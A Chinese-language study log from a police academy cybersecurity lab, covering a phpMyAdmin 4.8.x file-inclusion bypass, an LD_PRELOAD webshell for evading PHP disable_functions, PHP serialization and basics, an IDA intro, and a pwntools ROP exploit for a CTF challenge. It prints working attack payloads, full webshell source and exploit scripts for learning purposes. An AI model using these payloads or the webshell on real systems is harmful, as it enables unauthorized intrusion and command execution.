关于
本文档为山东警察学院网络空间安全与电子数据取证实验室成员的学习记内容录与分享
所有漏洞均在本地靶场或在线靶场环境复现
Web
| Web | Orio1e
?文件包含漏洞
-phpMyAdmin后台文件包含
漏洞影响范围 :
phpMyAdmin4.80~4.81
漏洞分析
index.php 55-63行
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里需要满足如下5个条件便可以执行包含文件代码include $_REQUEST['target'];
1.$_REQUEST['target']
不为空
2.$_REQUEST['target']
是字符串
3.$_REQUEST['target']
开头不是index
4.$_REQUEST['target']
不在$target_blacklist
中
5.Core::checkPageValidity($_REQUEST['target'])
为真
定位到checkPageValidity
函数在Core.php 443-476
行
public static function checkPageValidity(&$page, array $whitelist = []){
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
一开始没有$whitelist
,所以$whitelist
被赋值为self::$goto_whitelist
,追踪一下$goto_whitelist
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
再次回到checkPageValidity函数里面知道传入的参数$page必须在上面的白名单里面才会返回true,考虑到可能会带有参数,所以有了下面的判断
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
mb_strpos
:是一个定位函数,获取指定的字符在一个字符串中首次出现的位置mb_substr
:截取指定字符串中某一段
$_page
传入的是?
之前的内容,如果$_page
在白名单中则返回true
例如传入?target=db_datadict.php%253f
,%253f
开始服务器自动解码一次为%3f
,然后urldecode
函数再解码一次为?,则满足截取?之前的内容在白名单中,返回true
。而在index.php
中只解码一次为db_datadict.php%3f
,然后进行包含
漏洞复现
| Web | WHOAMI
?Bypass_disable_functions
Bypass_disable_functions via LD_PRELOAD
LD_PRELOAD介绍
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
利用情景
当我们辛辛苦苦拿到的shell竟然不能执行系统命令时,我们要考虑一下是不是禁止了一些命令执行函数的使用
如上图可知确实禁用了一些常用的命令执行函数,这时候我们要绕过disable_functions来执行命令。exp脚本:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
本项目中有这几个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。
bypass_disablefunc.php 为命令执行 webshell,它的内容为:
<?php echo "
example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "
cmdline: "
. $evil_cmdline . "";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");echo "
output:
"
. nl2br(file_get_contents($out_path)) . "";
unlink($out_path);?>
里面需要提供三个 GET 参数:cmd、outpath、sopath
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
(有权限的话上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含)
一是 cmd 参数,待执行的系统命令(如 pwd命令);
二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;
三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向。bypass_disablefunc_x64.so 为执行命令的共享对象,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译而来。
若目标为 x86 架构,需要加上 -m32 选项重新编译,bypass_disablefunc_x86.so。
利用方法
将bypass_disablefunc.php和bypass_disablefunc_x64.so上传到有权限的目录,按照上面的参数格式进行访问或包含即可绕过disable_functions执行命令。
| Web | 黄品钢
序列化与反序列化
序列化格式
PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
序列化对于不同类型得到的字符串格式为:
- String : s:size:value;
- Integer : i:value;
- Boolean : b:value;(保存1或0)
- Null : N;
- Array : a:size:{key definition;value definition;(repeated per element)}
- Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
(序列化对象时,不会保存常量的值。对于父类中的变量,则会保留。)
例子:
class CC {
public $data;
private $pass;
public function __construct($data, $pass){
$this->data = $data;
$this->pass = $pass;
}
}
$number = 34;
$str = 'uusama';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$cc = new CC('uu', true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($cc));
输出结果为:
string(5) "i:34;"
string(13) "s:6:"uusama";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(52) "O:2:"CC":2:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;}"
反序列化
使用方法
通过上面的讲解,我们可以将对象序列化为字符串并保存起来,那么如何把这些序列化后的字符串恢复成原样呢?PHP提供了反序列函数:
mixed unserialize ( string $str )
unserialize()反序列化函数用于将单一的已序列化的变量转换回 PHP 的值。
参数说明:
$str: 序列化后的字符串。
返回值
返回的是转换之后的值,可为 integer、float、string、array 或 object。
如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。
| Web | Airmap
?PHP基础知识
PHP多维数组
因为PHP数组的每个元素都可以是数组,所以可建立多维数组
<?php
$array = array //定义一个多维数组
("1" => array('a','b'), //使用了关联数组"2" => array('c','d'),"3" => array('e','f'),
);print $array['1'][0]; //可以输出“a”?>
PHP日期
可以以一定格式输出当前日期
语法格式如:
<?php echo date("Y/m/d");?>
其中的字符含义:
Y —— 代表年,输出为四位数
m ——代表年中的月,有0为前导
d ——代表月中的天,有0为前导
/ ——格式字符,可以改为其他字符,从而改变日期的输出格式
其他字符的含义:
请参照https://www.runoob.com/php/php-date.html
PHP包含
两者的区别是:
- 报错方式不同:
- include:报错会生成警告(Warning),命令继续执行,不影响其他
- require:报错直接致命错误(Fatal error),中止执行
- 执行方式不同:
include:在处理文件时每次都对文件进行读取和评估,文件处理多次,适合多次重复处理的文件
require:在处理文件时只处理一次,适合处理多个文件
格式:
<?php require("require_test.php");include("include_test.php");?>
他们不是真正的函数,而是语言结构,格式类似于print和echo,可以直接加参数
引用的文件应该位于与原网页相同目录中
Reverse
| RE | xylito1
?ida入门
初学re,熟悉ida基本操作
re入门,水平不高,有错误敬请指正!
主要工作区
IDA View-A(反汇编窗口)
:一般是进入IDA的首个界面,进行逆向分析的主要场所就在此窗口。按空格可以切换文本视图和图形视图,文本视图对于强迫症而言相对舒适,但是不如图形视图更加容易观察分析。
在反汇编窗口中大多是eax, ebx, ecx, edx, esi, edi, ebp, esp等。这些都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。这些寄存器相当于C语言中的变量。
EAX 是”累加器”(accumulator), 它是很多加法乘法指令的缺省寄存器。
EBX 是”基地址”(base)寄存器, 在内存寻址时存放基地址。
ECX 是计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。
EDX 则总是被用来放整数除法产生的余数。
ESI/EDI 分别叫做”源/目标索引寄存器”(source/destination index),因为在很多字符串操作指令中,DS:ESI指向源串,而ES:EDI指向目标串。
EBP 是”基址指针”(BASE POINTER), 它最经常被用作高级语言函数调用的”框架指针”(frame pointer)。
ESP 专门用作堆栈指针,被形象地称为栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节。
Hex View-1(十六进制窗口)
:用来修改数据。
Strings window(字符串窗口)
:进入ida,shift+F12调出此窗口。主要用于初步寻找关键字符串和敏感词,从而进行下一步分析。
PSeudocode-B(伪代码窗口)
:在反汇编窗口中通过F5调出,更接近C语言,顺着C语言程序的思想去分析。
入门题解题大致思路
对于一些基础的re题,先查壳,有壳就脱壳,然后拖进ida,直接进字符串窗口寻找关键字、敏感词,之后双击点进反汇编窗口,没有进展就F5查看伪代码。
PWN
| PWN | Febdog
?ROP
超超超基础的ROP
ROP是栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程
用XCTF(攻防世界)里pwn新手区的level2来絮叨
放虚拟机里checksec一下,发现开启了NX保护,说明无法通过栈溢出来拿权限,但可以尝试rop
从函数列表里能找到system函数,但system函数的参数是
echo 'Hello World!'
对拿权限来说一点用的莫得,
只能想办法自己构造一个system函数来拿权限
同时,在函数列表里发现了read函数,只能通过这个输入函数来找能rop的漏洞
shift+f12看看有无可用的字符串,发现正好有system
和/bin/sh
将二者组合就能拿到shell
read函数的参数buf
buf= byte ptr -88h
有88h的空间需要填充,因为是32位程序所以要再加4位
add esp, 10h
sub esp, 4
push 100h ; nbytes
lea eax, [ebp+buf]
push eax ; buf
push 0 ; fd
call _read
add esp, 10h
构造exp的时候,只需要把buf填充满,再将字符串system和/bin/sh的地址找出来就可以了 网上有用pwntools里的elf模块来找字符串地址的方法
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
于是exp为
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process('./level2')
p = remote('220.249.52.133',49604)
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = elf.search('/bin/sh').next()
payload = 'a'* (0x88+4) + p32(system_addr) + p32(4) + p32(binsh_addr)
p.sendlineafter('Input:',payload)
p.interactive()
附:曾经遇到一个题,没有完整的/bin/sh
可用,但有一个不知其意的乱码字符串*****************************$0
,百思不得解,查阅得知,$0
就相当于/bin/sh
,二者有一即可
未完待续......